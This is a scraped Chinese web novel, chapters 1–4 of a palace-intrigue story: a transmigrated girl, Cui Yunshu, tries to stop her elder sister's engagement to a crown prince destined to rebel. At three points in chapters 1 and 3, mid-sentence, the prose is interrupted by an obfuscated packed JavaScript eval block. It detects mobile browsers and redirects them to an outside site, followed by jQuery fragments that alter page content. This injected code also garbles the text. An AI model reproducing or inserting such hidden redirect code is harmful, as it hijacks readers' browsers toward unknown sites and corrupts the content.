《真棒!又苟活了一天》 1. 第1章 四五月份的天儿,不冷不热很是舒适。 然这会儿,崔云姝深深叹了口气。 “大姐姐和太子的婚事,已经定了吗?” “姐儿这是在说什么胡话?熙姐儿和殿下的婚事,不是去年就谈好了吗?就差过个明路。”阿桃哈欠打到一半顿住,落在崔云姝身上的视线不解,“莫不是姐儿还惦念着殿下?姐儿和殿下差了八九岁呢。” 换做往常,这会儿崔云姝手指都要落在阿桃额头,狠狠敲一下。 怪阿桃嘲笑她幼时做的蠢事。 现下,崔云姝却是没那个心情。 前几日,她才得知她不是穿越,而是穿书,书中后期他们全家都被发配流放到岭南。 她大姐崔云熙不知所踪,崔家派人打探,只得了个已死的消息。 后面,崔家人在城楼看到了崔云熙。 悬挂于城门口数日。 烈日曝晒、飞禽啄身,连个完整的尸身都没留下。 而这一切皆与太子有关。 书中阐述太子唐景承会于三年后起兵谋反。 “你说,若是我劝阿爷取消大姐姐和太子的婚事,如何?” 崔云姝这话才落,阿桃手中的樱桃落了一地,紧接着一只手伸到崔云姝面前,摸了三遍她额头。 “也不热,姐儿今天怎么净说胡话?”阿桃表情忽的变得复杂,“……姐儿真的喜欢殿下?” “你家姐儿傻吗?”崔云姝白了阿桃一眼,“放着好好的日子不过,偏要去那深宫?” 方才的问题不需阿桃答。 崔云姝心中也知晓答案,崔家好不容易攀上东宫,便是她阿爷愿意,族中其他人也不会愿意。 她若是说出梦中情形,怕是会被崔老夫人当做夺权的把柄,崔老夫人看不惯阿娘不是一日两日的事儿了,满心琢磨着如何从她阿娘手中拿回掌家大权。 “我家姐儿不傻,这天下最聪明的就是我家姐儿了。” 阿桃敷衍式的称赞,小心翼翼捡拾刚刚掉落在地上的樱桃,“姐儿日后再要吓人,先提醒一声,这么好的樱桃,可惜了。” “好好好。”崔云姝弯腰,陪阿桃一块儿捡樱桃。 罢了。 她先去阿娘哪里问一问。 “想吃樱桃冰粉吗?”崔云姝问。 闻声,阿桃眼睛瞬间亮了,“姐儿要做樱桃冰粉吃吗?我去取冰。” “莫贪凉,还不到吃冰的时节,小心吃坏肚子。” 这般说,崔云姝也没拦她,“多取些,待会儿做好,各院都送些。” 阿桃飞速捡拾干净地上的樱桃,放到一旁桌上便去找管家了。 崔云姝不是第一次做冰粉,最初是她亲力亲为,后来厨娘学会了她这门手艺,崔云姝便清闲了,冰粉也是夏日崔府主子们最爱的一道零嘴。 不过若要说做的最好吃的,还是当属崔云姝。 除却冰粉,为方便用冰,她还把制冰之法教给了亲信,以供院里夏日用冰。 想到制冰之法,崔云姝搓薜荔籽的动作停了停。 “姐儿可是累了?”她院里的厨娘的询问。 “无事。” 她要不要把制冰之法交出去? 也怪她承受能力太差,前因后果都还没看明白,就从梦中醒了。 便是交,这事儿也要先同阿娘和兄长商量一番,她默默止住了脑海繁杂的思绪,专心做起冰粉。 搓的差不多,崔云姝在胶质液中先后加入石灰水和樱桃汁儿。 为加速凝固,她在四周放上冰块,又放到一个大木盆中,悬挂在院里的井中。 空气中弥漫着果香味儿。 等其凝固的时间,崔云姝也没闲着,备好葡萄干、煮熟又放冷的红豆、碎杏仁。 随后她便去休息了。 崔云姝试过多次,基本都要两个时辰才能凝固。 午睡醒来,崔云姝让人备好樱桃、杨梅、鲜奶、冰沙,其中冰沙最难备,需人力捣碎。 磨人又费功夫。 可加了冰沙的冰粉,口感要比不加冰沙的好吃许多。 盆中液体也已经凝固,粉红色的方块儿,很是漂亮,崔云姝却没欣赏几眼,手起刀落弄好两大碗,又把准备好的小料分出两份,“阿桃,你唤人把这份送去我二哥哥院中。” 她递给阿桃。 “喏。” 阿桃麻利,放入前还在食罍隔层加了些冰块,她嘟囔,“二房去月就开始用冰,咱们省冰作甚。” “姐儿,娘子这份我也加些冰。” 她要来崔云姝手中那份。 放完冰,阿桃把食罍还给崔云姝。 走前崔云姝吩咐,“余下的你们分一分送往各房各院,不要小气,人多的多送些,井中还冰着一块儿呢,待我回来分予你们。” “姐儿把我们当什么人了。” “我们哪儿有那么贪嘴。” 厨娘和几个帮手羞赧。 “姐儿,我贪嘴,待会儿把他们的都分给我。”阿桃顽劣,惹得几人直白眼。 - “郎君讲,圣人有心定下熙姐儿与殿下的婚事。” 宋氏拨着算盘珠,眉宇微蹙,“他也不说个定数,只让我准备,若是今年订婚,依熙姐儿和殿下的年龄,恐明年就要成亲,这嫁妆我上哪儿筹?真真是把烂摊子尽数甩给我,自个逍遥快活。” 她呸了声。 “娘子慎言。” 张嬷嬷不赞同,“娘子纵有天大的怨气,说话总要注意些,传出去不知会传成什么模样,您本就是熙姐儿继母,外面那些人只等着传您待她不好的话呢。” “不说外面人,府里老太太就等着呢。” 说着话,张嬷嬷踱步关上门窗,她绷着的脸松下,“下次娘子再想讲,先让我关好门窗。” “我晓得,这不是被气糊涂了吗?” “阿母是不晓得昨日郎君那无赖模样。”想起昨夜,宋氏又气又羞。 “娘子,阿郎也是为了崔府,娘子也勿要忘了,熙姐儿是替咱家姐儿嫁的。” “我晓得。” 说起这事儿,宋氏眉宇间的怨消散的一干二净。 “这事上已经委屈了熙姐儿,嫁妆咱们自然是要多给些。” “我自然清楚,不过是气他们订的忒儿戏着急,我本就为熙姐儿准备了嫁妆。”只是最初的嫁妆,宋氏是按熙姐儿嫁给官宦子弟备的,如今人选变为太子,自是不够看。 而那些价值连城的可遇不可求。 这么急的时间,她上哪儿去寻?又不是备一堆金子就可。 “娘子,四姐儿来看您了。” 屋外,通引出声。 “四姐儿?”宋氏放下算盘珠。 崔云姝带着阿桃进来,“阿娘怎关着门窗?天儿虽不热,总要勤通风换气,我今儿做了些樱桃味道的冰粉,带来给阿娘和嬷嬷尝尝。”她让阿桃打开食罍。 樱桃色的冰粉诱人瑰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367922|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽。 她用勺子分成几份,让宋氏和张嬷嬷自己选小料。 “你这孩子,还让我通风换气呢,自个跑去受累。”宋氏看到冰粉先是心疼,“府里是没厨娘吗?” “阿娘快尝尝。” 崔云姝撒娇躲避宋氏嗔怪,她挽上宋氏胳膊,“做个冰粉,不累。” “好阿娘~” “你呀你,多大人啦,不嫌害臊。”宋氏点了点崔云姝额头,“都要相看的人了。” “什么相看不相看,我还要留在阿娘身边呢。” 崔云姝可还不想嫁人,她今年才十三岁!这个年龄放在前世,才上初一。 “熙姐儿和殿下的婚事今年就能定下,兰姐儿也相看好了人家……你也该相看了。”宋氏揉着崔云姝,“阿娘在你这个年龄,也已经开始相看了。” “大姐姐和殿下的婚事定下了?” 宋氏后面说的话,崔云姝没听太清,满脑子都是—— 熙姐儿和殿下的婚事今年就能定下。 完啦。 不要说相看不相看的了。 全家都要完。 有命相看也没命成亲。 “估摸着就这两个月的事。” “阿娘,这婚事怎么就要定下了?”她以为,她还有机会阻止。 “德妃娘娘近来在帮二皇子相看。”宋氏淡淡,“殿下行一,他的婚事不定,二皇子如何定?” “阿娘……这婚事非定不可吗?” 宋氏视线落到她身上,“圣人看重崔氏,崔氏也有心搭上东宫,前朝崔氏出了三任皇后,保了他们若干年富贵,如今圣人给机会,族中耆老岂有不愿?” 临了,宋氏又呸了声,“且,又不是用他们女儿。”这声嘲讽。 崔云姝默然。 “好了,不提这些腌臜事儿,咱们娘俩儿吃冰粉。” “阿娘,我想把制冰之法献予圣人。” 若是不能解除婚约,崔云姝觉崔府唯一生路,便是向圣人表明忠心,这般或太子倒台之际,他们能免受牵连。 “为何忽然想将制冰之法献给圣人?” 宋氏诧然,“原先你阿爷劝你拿去卖,你不是都不乐意吗?” 那时,崔云姝嫌这些事儿麻烦,也怕声名外显。 她制冰初心只为自家享用。 “怕你阿爷为了族中利益,把你随意许给旁人?”宋氏以为是方才的对话吓到崔云姝,她这个女儿,她自小护着,没见识过外面的丑事恶人,若非再过两年就要及笄,宋氏也不会和她谈论这些。 “放宽了心,阿娘在呢,不需你操心这些事儿。” “阿娘,臣子琢磨出好法子,本就应该献予圣人,先前是云姝孩子气了。” “真要献?”这事儿在宋氏看来,倒不是什么坏事,崔家护得住云姝,献上制冰之法,一能在圣人面前露个脸,二能借此事扬名。 王家、郑家、卢家和李家的女儿,在姝儿这个年龄,一个赛一个拼着扬才女名。 一些个成就,还不晓得和她们本人是否有关。 她家姝儿胜过她们千倍万倍。 “此事你容我和你父兄好好商量一番,要献咱们就献的漂漂亮亮的。” “谢谢阿娘~”崔云姝撒娇的环住宋氏脖颈,“阿娘,我给你调冰粉。” “娘子,阿郎来啦。” 通引禀报的匆忙,她这声才落,崔温踏步进来,“你们娘俩躲这儿吃什么好吃的呢。” 2. 第2章 他这声,引得宋氏白了他一眼。 “小四儿,你可够偏心的,你阿娘这儿有,你兄长那儿也有,独独我这个阿爷没有?”崔温语调埋怨。 “若是晓得阿爷在府里,小四儿怎会不让人给阿爷送去?” “你这话,倒成我的不是了。” 崔温不客气,拿起碗,盛了好几勺,崔云姝带来的那些水果,也没躲过他的嚯嚯,大半都进了他的碗。 “这么些人看着呢,没个正经模样。”宋氏打掉崔温还要盛水果的手,“今儿怎么回来这么早?” “圣人想要元珏做太子伴读。” “……女儿要,儿子也要——”宋氏话才出口,张嬷嬷带着阿桃离开,门窗也关的严严实实的。 “六娘慎言。” 崔温无奈,“我还没答应呢。” “妥妥的强盗。”没了外人,宋氏更是不顾忌,“殿下不愧是圣人心尖尖,这么早就为殿下铺路。” “爱子之心……” “呸。”宋氏白眼,“他爱子旁人就不爱子?” 爱子? 崔云姝在旁听着,微微蹙眉。 她这会儿悔了,前些年太过逍遥,以致于她对朝中事了解甚少。 但若真如阿爷和阿娘所言。 短短三年时间,太子为何谋反? “六娘,圣人也只是提了一嘴,你若不愿我想法子拒了便是。” “说的轻巧。”宋氏恨恨瞪了崔温一眼,“你怕是已经和元珏商量好了,元珏的性子,怎会做有害家族的事儿,难道我这一双儿女都要困于东宫?早知今时今日,我当年便择其他人做夫婿了。” “熙姐儿不是我肚子里掉下来的,可她也唤了我十来年阿娘。” “太子妃、太子伴读,听着风光,倘若有朝一日圣人厌倦了殿下呢?你想过你这一双儿女的处境吗?” 崔云姝不得不感慨一声。 她阿娘真是清醒。 有些人只看到了眼前的风光,却嗅不到风光背后的危险。 进了东宫便是与太子绑在一块儿。 “圣人春秋不过四十有三。” “六娘,圣人怎会厌倦殿下,若真的厌倦,又为何再三为殿下求娶崔氏女?圣人不过是在为殿下铺路,毕竟德皇后去的早,圣人为殿下选伴读,明显是为殿下培养自己的势力,王家势力庞大,圣人是殿下压不住二皇子。” “不会厌倦?你这般肯定?” 宋氏冷嘲,“当年德皇后去世,你等也言圣人必会清算……今时今日,陛下与贵妃琴瑟谐和。” “六娘!” 崔温放下碗。 “这世道不是声大便有理。”宋氏怼,“姝姐儿,提着食罍,咱们去别处吃,不在这儿碍你阿爷的眼。” 阿娘威武。 崔云姝心中默默。 乖乖提起食罍,跟在宋氏身后,她看出了,她相信她阿娘也看出了,自家阿爷就是动了把二哥哥送去太子身边的念头,不然不会一回府便去二哥哥院子。 阿娘了解阿爷。 阿爷也了解阿娘,彼此晓得对方是怎样的人。 阿爷清楚阿娘不会同意,也不想触阿娘霉头,便想要二哥哥劝说阿娘。 “六娘你这是作何。” 崔温声音放软,“是哥哥错了,哥哥向六娘赔罪。” 他弯腰冲宋氏作揖,“元珏有大才,到殿下身边利于他将来仕途。” “云姝。” 宋氏推开崔温,带着崔云姝离开斐阁。 “阿娘不气。”走远了,崔云姝才出声劝慰,“阿爷也是为了二哥哥,只是阿爷想当然认为圣人会一直待殿下好。” “连你都晓得的道理,偏他盲信。” 二人没让下人跟,走到花园母女二人停下,“以你二哥哥的才能,便是科举也能成为巩固之臣,何必冒险?不过是你阿爷想要他走捷径,等到殿下登基还能轻松落个从龙之功,却从未想过这世上哪里有捷径?” “阿娘……为何觉圣人会对殿下不利?” 宋氏沉默,“小四儿,今天娘再给你讲个道理,未尘埃落定前,这世上没有确定的事儿。” “圣人如今待殿下好,不见得将来待殿下好,圣人如今不愿二皇子登基,不见得将来仍不愿。”她继续道:“这也是阿娘为何从小就拘着你们与宗室子弟交好的原因,帝王喜怒无常。” “熙姐姐的婚事……” “这不是你阿娘,也不是你阿爷能决定的。”宋氏轻叹,“这些腌臜事儿,闹得樱桃冰粉都没了滋味,你既好奇,阿娘便与你讲一讲。” “五年前,圣人便有意在崔氏女中选取太子妃,你阿爷不肯,耐不过圣人一次次提议,拒一次可以,两次可以,可三次……置皇室颜面于何地?这桩婚事,只有圣人能取消。” “阿娘,圣人嘱意的太子妃人选最初可是我?” 宋氏没有再瞒着崔云姝,“你熙姐姐算是替你去做的太子妃。” “云姝,你需记住你熙姐姐这份恩情,她本可以不站出来。” 崔云熙是崔温第一任妻子之女。 他与宋氏是二婚。 “阿娘,女儿记得了。” “阿娘清楚你最是聪慧,只是素来不爱掺和这等俗事,今儿阿娘不知你受何刺激,但阿娘向你保证,只要你不想,便是你阿爷也不能强迫你,若是崔家想要卖女求荣,阿娘便带你离开崔家,这点儿本事,为娘还是有的。” 宋氏揉了揉崔云姝软发,“吃完冰粉,你便回院歇着罢,阿娘还要去你二哥哥那里看一看。” 回去的路上,崔云姝沉默。 她没有想到崔云熙日后落得的那等结局,还与她有关。 若不是崔云熙。 被吊在城楼曝晒、被飞禽啄身的便是她。 春日的暖阳和煦,崔云姝却感到刺骨的冷自下蔓延全身。 更为自己想要抛弃崔云熙的想法感到懊恼,但凡太子谋反,崔家或有一线生机,崔云熙…… 这桩婚事不能成! “姐儿怎么在这儿站着?”阿桃跑来,“傻啦?”她手在崔云姝眼前晃了又晃。 崔云姝满脑门子官司被她一扰,倒是舒了口气。 “这么盼着你家姐儿傻?” “姐儿又冤枉人,阿桃是关心姐儿。” “我瞧着你不是关心我,是急着回去吃樱桃冰粉。” 阿桃坚持,“我是担心姐儿。” “既然如此,你可愿意把你的那份给我?” “担心是点心,冰粉是冰粉,姐儿莫要混为一谈。” 崔云姝曲指落在阿桃额头。 总归还有三年时间,最坏的结局她已然知晓,又何须畏惧将来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367923|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事? “阿桃,谢谢你。” “姐儿谢人的方式倒是别具一格。” 阿桃揉着额头。 “回去端些冰粉,给熙姐姐送去。” “姐儿!咱们就那些冰粉,姐儿不是要谢谢我吗?” 阿桃是知晓还有多少冰粉的。 “晚上,你家姐儿给你做红烧肉吃。” 阿桃迷茫,“什么是红烧肉?” 到了院里,崔云姝装上一盆冰粉,又分出些小料,余下的她让几人分了吃,阿桃因着要和她一起去送,只尝了一口,闹得一路上怨气冲天,哀怨的盯着崔云姝,嘴巴里还唱着—— “小白菜呀,地里黄呀,数十载呀,主子家呀……一盆冰粉,春来又思,到头来是,到头来是——空欢喜呀。” “好姐姐。”唱的崔云姝连连求饶。 崔云熙为人喜静,院子又紧临竹林,故而院名谧竹轩。 “熙姐姐。”进了院,崔云姝便唤,她与崔云熙算不上熟稔,却也不陌生,毕竟是姊妹俩,只是因差了几岁,不常在一块儿玩。 “四妹妹来我这儿是有何事?” “我做了些冰粉,送来给姐姐尝尝。” 崔云姝让阿桃放下食罍。 “熙姐姐这是看的什么书?”崔云姝走到崔云熙身旁坐下,对方在她坐下那刹,微微移了些身子,想来不喜和外人离得这般近,察觉到,崔云姝稍稍向后靠了靠,离崔云熙远了些。 “杂书罢了,劳四妹妹挂念。” 崔云熙不动声色收起手中书。 “姐姐客气了。”崔云姝把冰粉从食罍中端出,还有一份份小料,“姐姐喜欢吃什么,便加什么。” “谢谢四妹妹。” “你我姐妹,何须这般客气。” 在崔云熙这儿赖了一个时辰,崔云姝才离开。 她一走,崔云熙主仆均松了口气。 “姐儿,四姐儿今儿怎么想起来咱们这儿了?” 阿竹道:“四姐儿最是懒散,勿要说没事儿,便是有事儿,也分个轻重缓急,不是顶顶重要的,她哪里会特意跑一趟?” “住嘴。” 崔云熙抿唇,淡淡瞥了眼阿竹,“四妹妹也是你议论的?” “孩子心性罢了,想起我这个姐姐,给我送些吃食。”她让阿竹把桌子收拾干净。 不止阿竹,阿桃也在问。 “姐儿今儿怎么想起来看熙姐儿了。”她又道:“姐儿莫不是想从熙姐儿下手?我的好姐儿,您怎么好生生盯上这门亲事了。” “想什么呢,走了,回去给你做红烧肉。” 红烧肉没能做成,崔云姝刚回到院中便看到她阿爷,以及站在不远处盯着桌上那盆冰粉的厨娘几人。 “阿爷,你怎连他们的吃食都抢。”崔云姝无奈,“您今儿下午也吃不少了,这才几月份的天,少加些冰!”眼见对方又要挖一大勺冰沙,崔云姝上前夺走碗。 “小四儿……这么些下人看着呢,你让阿爷威严置于何地?” “您还有威严吗?” 崔云姝嫌弃,抢下人的伙食,亏得她阿爷做的出来,转身她安抚厨娘几人,让阿桃带着她们去府外买些吃食。 “阿爷来我这儿是为何事。” 崔温也不遮掩,“小四儿,劝劝你阿娘。” “不劝。” 3. 第3章 车轮碾过青石板路,发出单调而规律的“咕噜”声。 崔云姝与长姐崔云熙并坐于宽敞的马车之内 。车厢内壁以名贵的云锦装裱,角落里的小几上,兽首铜炉正无声地吐着袅袅青烟,是价值千金的龙涎香。车外是人间烟火,车内是世家风雅,一道车帘,隔开了两个世界。 崔云姝却无心欣赏这份雅致。 她微微掀开车帘一角,看着窗外飞速倒退的街景,心中反复回想着那本诡异的“书”中关于今日的记载。卢家春日宴,太子唐景承,以及那个即将引爆一切的民妇。每一个字眼,都像烧红的烙铁,烫在她的心上。 “四妹妹在看什么?”崔云熙温润如玉的声音在身侧响起,带着一丝不易察觉的关切。 崔云姝放下车帘,回头对上姐姐那双清澈如古井的眸子,勉强挤出一个笑容:“没什么,只是许久未曾这般早地出门,看什么都觉得新鲜。” “你呀,就是性子懒散了些,”崔云熙的唇角噙着一抹清浅的笑意,她伸出素白的手,为崔云姝理了理鬓边微乱的碎发,“今日卢家的春宴,人多眼杂,你切莫再像往日那般任性。” 她的动作轻柔,语气也是一贯的端庄沉稳,仿佛这世间没有任何事能让她失态。可崔云姝知道,这份沉稳之下,埋藏着怎样的悲剧 。 “女儿记得了。” 母亲的话犹在耳边:“你熙姐姐算是替你去做的太子妃。” 这句话如同一根尖刺,深深扎进了崔云姝的心里。若非崔云熙在五年前主动站出来,那么今日要去赴这“鸿门宴”、未来要嫁给那个注定谋反的太子、最终被悬尸城楼曝晒的人,就是她崔云姝 。 这份替嫁的恩情,沉重得让她几乎喘不过气来。 所以,她必须做点什么。哪怕是螳臂当车,哪怕要付出代价,她也一定要阻止这桩婚事,将姐姐从那既定的悲惨结局中拉出来 。 “熙姐姐,”崔云姝收敛心神,换上一副天真烂漫的撒娇模样,挽住崔云熙的胳膊,“春宴要一整日呢,咱们先不去卢府,我听闻东市有家馄饨铺子,味道是一绝,只在早上开门,我们去尝尝好不好?” 崔云熙闻言,秀眉微蹙,显然对这个提议有些意外:“东市人多嘈杂,且那等市井吃食,未必干净。你若想吃,回府让厨娘做便是。” “府里厨娘做的哪有外头的好吃嘛,”崔云"姝摇着她的手臂,将一个十三岁少女的娇憨演绎得淋漓尽致,“好姐姐,就陪我去一次,就一次。我保证,吃完我们就去卢府,绝不耽搁。” 看着妹妹眼中闪烁的期盼,崔云熙终究还是心软了。她这位四妹妹,自小便被阿娘护得极好,性子娇憨懒散,难得有这般兴致勃勃的时候。她轻轻颔首,无奈又宠溺地应道:“好,依你。” 马车在车夫的驾驭下,调转方向,朝着京城最富盛名的东市驶去 。 崔云姝的心,随着车轮的每一次转动,都绷得更紧一分。 她知道,她即将要去亲眼验证那“书中剧情”的第一个关键节点。那个民妇,那个引爆太子丑闻的“女主角”,真的存在吗? 东市不愧是京城最繁华的集市,即便只是清晨,已是人声鼎沸,热闹非凡。小贩的叫卖声、孩童的嬉闹声、车马的喧嚣声,混杂着各种食物的香气,构成了一幅活色生香的市井画卷。 崔家的马车在东市口停下,崔云姝与崔云熙在婢女阿桃的搀扶下下了车。两位钟鸣鼎食之家出身的贵女甫一出现,便引来周遭不少惊艳的目光。尤其是崔云熙,她身着一袭月白色素雅长裙,气质清冷如月下仙子,虽未施粉黛,却已是绝代风华,让周遭的喧闹都仿佛为之一静。 崔云姝无暇顾及这些,她的目光在鳞次栉比的店铺间飞速扫过,凭借着“书”中那模糊的记忆,搜寻着目标。 “在那边!”她眼睛一亮,拉着崔云熙的手,快步向一条小巷走去。 巷子口,一个简陋的摊位支在那里,一口大锅正热气腾腾地冒着白烟,浓郁的骨汤香味扑鼻而来。摊位后,一个身形高大粗犷的男人正忙碌地包着馄饨,招呼着客人 。 就是这里了。 崔云姝的心跳漏了一拍,拉着姐姐在唯一一张空着的木桌旁坐下 。 “店家,两碗馄饨。”她尽量让自己的声音听起来轻松自然。 “好嘞!两位小娘子稍等,马上就好!”男人抬头应声,声音爽朗洪亮。他约莫二十五六的年纪,虽穿着粗布短打,但五官端正,星眉剑目,若非眉宇间那一抹挥之不去的忧愁,也算得上是个俊朗的汉子 。 崔云姝敏锐地捕捉到了他眼底深处的那一丝愁绪,心中愈发肯定。 她状似好奇地打量着小店,开口搭话:“店家,你这馄饨闻着可真香,是祖传的手艺吗?” 男人手下动作不停,笑着回道:“小娘子过奖了,就是些养家糊口的粗笨手艺,谈不上祖传。” “店家太谦虚了,”崔云姝继续旁敲侧击,“生意这么好,就您一个人忙活,忙得过来吗?家中没有其他人帮衬?” 听到这话,男人的笑容僵硬了一瞬,虽然很快便恢复如常,但那眼底的愁苦却又浓重了几分。他低着头,声音也沉了些:“就我一人,习惯了。” 崔云姝心中了然,不再追问。她知道,她要等的人,应该就在那间简陋的里屋之中。 崔云熙始终安静地坐在一旁,她虽不习惯这般嘈杂的环境,却也没有表露出任何不耐。她只是静静地看着自己的妹妹,眼神里带着一丝探究,似乎不明白她为何对一个馄饨摊主如此好奇。 很快,两碗热气腾腾的馄饨被端了上来。皮薄馅大,汤清味鲜,确实是难得的美味。 崔云姝却有些食不知味,她的全部心神,都系在那一扇紧闭的门帘上。 就在她几乎要失去耐心时,那扇陈旧的布帘终于被一只素手轻轻掀开。 一个身影从里屋走了出来 。 那是个身形窈窕的女子,穿着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367924|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身洗得发白的布裙,头上戴着一顶垂着白纱的帷幔,将她的面容遮得严严实实 。 崔云姝的心瞬间提到了嗓子眼。 来了! 女子走到摊主面前,声音轻柔地道:“哥哥,我该走了。” 那声音平缓温和,如春日暖风,让人听着便心生好感 。 摊主停下手里的活,转过身,看着她,眼神复杂,既有不舍,又有担忧,最终只是沉沉地叹了口气,挥了挥手,千言万语都化作了无声的催促 。 女子似乎也明白兄长的心意,不再多言,转身便要离去。 就在她转身,即将与崔云姝她们这一桌擦肩而过时,一阵风吹过,恰好将她的帷幔吹起了一角。 惊鸿一瞥间,一张素净清丽的脸庞暴露在空气中。 那是一张足以让任何男人心动的脸。肤白胜雪,眉如远黛,一双杏眼盈盈含水,带着几分天然的娇弱与怜惜。虽未施脂粉,却比那些精心装扮的贵女更多了几分楚楚动人的风情。这张脸,与“书”中的描述,分毫不差 。 “书中剧情诚不欺我!” 崔云姝的脑海中轰然炸响,一股寒意从脚底直冲天灵盖。她手中的汤匙“当啷”一声掉进碗里,溅起几滴滚烫的汤汁,她却浑然不觉。 是真的,一切都是真的! 这个女人真的存在,那么“春日宴”上的那场风波,太子唐景承的“人渣”行径,也都是真的! 既然如此,三年后太子谋反,崔家被满门抄斩的结局,也必将如期而至! 强烈的恐惧与后怕攫住了她,让她脸色瞬间煞白。 “四妹妹,你怎么了?”崔云熙第一时间察觉到她的不对劲,关切地问道。 “没……没什么,”崔云姝回过神来,强行压下心中的惊涛骇浪,她指着那女子远去的背影,佯装不安地说道,“熙姐姐,我……我忽然觉得有些胸闷,这里人太多了。我们……我们还是把馄饨打包带走吧?” 她的声音带着一丝颤抖,脸色也确实难看,由不得崔云熙不信。 “好。”崔云熙没有多问,立刻应允,扶着她站起身 。 崔云姝深吸一口气,对阿桃吩咐道:“阿桃,你留在这里等店家打包,我与姐姐先去卢府,你稍后直接到卢府寻我们便是。” 说完,她便不再停留,几乎是半拉半扶着崔云熙,快步离开了这条让她心惊肉跳的小巷。 重新坐上马车,隔绝了外界的喧嚣,崔云姝才感到那股几乎让她窒息的压力稍稍缓解。她靠在柔软的垫子上,闭上眼睛,脑海中却反复回放着那张清丽绝伦的脸。 事实依据已经确凿。 接下来的卢府春宴,便是她唯一的机会。 她必须利用这件事,将事情闹大,闹到人尽皆知,闹到圣人面前,闹到这桩婚事再无转圜的余地! 她睁开眼,眸中闪过一丝与她年龄不符的坚定与决绝。 姐姐,这一次,我一定要救你。 4. 第4章 自东市那家馄饨小铺离开后,马车内的气氛便陷入了一种诡异的沉凝。 崔云熙没有追问妹妹方才为何突然失态,只是静静地陪着她,偶尔递过一盏温水,用无声的行动表达着她的关怀。而崔云姝则一直紧闭双眼,靠在软垫上,看似在假寐,实则心潮起伏,一刻未曾停歇。 那张清丽而无助的脸,那句言简意赅的“哥哥,我走了”,以及那摊主汉子眼底深藏的愁苦与决绝,如同走马灯般在她脑海中反复上演。每一个细节都与“书”中的记载严丝合缝,冰冷地提醒着她,那场席卷整个崔氏的灭顶之灾,并非虚无缥缈的梦魇,而是即将发生的、血淋淋的现实。 她必须成功。 今日,就在这卢府的春日宴上,她必须将这桩婚事搅黄,彻底斩断崔家与东宫之间那根致命的牵绊。 当马车缓缓停稳,车外传来仆役恭敬的唱喏声时,崔云姝睁开了双眼。方才还残留着惊惧与不安的眸子,此刻已是一片清明,甚至深处还藏着一丝破釜沉舟的冷冽。 “熙姐姐,我们到了。”她调整好面部表情,重新挂上那副天真烂漫的笑容,仿佛先前的一切都只是小女孩的一时情绪。 崔云熙深深地看了她一眼,没有点破,只是温和地颔首:“下车吧,莫让主人家久等。” 卢家的府邸坐落在京城东侧的永兴坊,是出了名的富贵之地。崔云姝与崔云熙二人由卢府的管事娘子亲自引着,穿过重重回廊,向着举办宴会的后花园走去 。 甫一踏入花园,饶是崔云姝这个见惯了顶级世家奢华场面的人,也不由得在心中暗暗咋舌 。 入目所及,皆是奇花异草,争奇斗艳。一条由暖玉铺就的小径蜿蜒向前,两侧是精心修剪过的景观,假山流水,亭台楼阁,错落有致。最令人瞩目的,是遍布园中各处的牡丹 。 四月并非牡丹盛开的最好时节,然而卢家的园子里,各色牡丹却开得如火如荼,显然是花匠用了特殊法子催开的。姚黄、魏紫、豆绿、赵粉……这些寻常难得一见的珍品,在这里却仿佛寻常花卉般随处可见。 尤其是在通往主宴会区的水榭两侧,竟摆放了不下十盆“御衣黄” 。此花花瓣圆润,色泽明黄,娇艳欲滴,乃是牡丹中的极品,一盆便价值百金,等闲人家便是有钱也难寻得一株 [26]。卢家为了今日这场宴会,竟摆出了这般阵仗。 崔云姝心中冷笑。卢家不过是新兴的官宦之家,底蕴尚浅,如今这般不计血本地铺张,无非是想讨好今日宴会的主角——太子唐景承 。 只可惜啊……她暗自叹息,卢家花了数千两银子精心搭好的戏台,最终却要为旁人做嫁衣,上演一出足以动摇国本的丑闻。这份投入与产出,当真是讽刺至极 。 “崔大姑娘、崔四姑娘到——” 随着侍女一声清亮的通传,园中原本三三两两聚在一起谈笑的贵女们,目光齐刷刷地投了过来 。 崔家,五姓七望之首,数百年来皆是天下士族之冠冕 。而崔云熙,作为崔氏嫡长女,未来的太子妃,更是这群贵女中当之无愧的焦点。 “熙姐姐安好。” “云姝妹妹也来了。” 几乎是瞬间,崔氏姐妹二人便被一群莺莺燕燕的贵女们围在了中央 。她们或真心或假意地问安攀谈,言语间充满了热络与奉承,将崔家在顶级社交圈中的地位与影响力展现得淋漓尽致 。 面对众人的追捧,崔云熙应对得体,举止端庄,一言一行都堪称贵女典范 。她脸上挂着恰到好处的微笑,既不显得疏离,又保持着身为崔氏嫡女的矜持与气度,让每一个与她交谈的人都如沐春风。 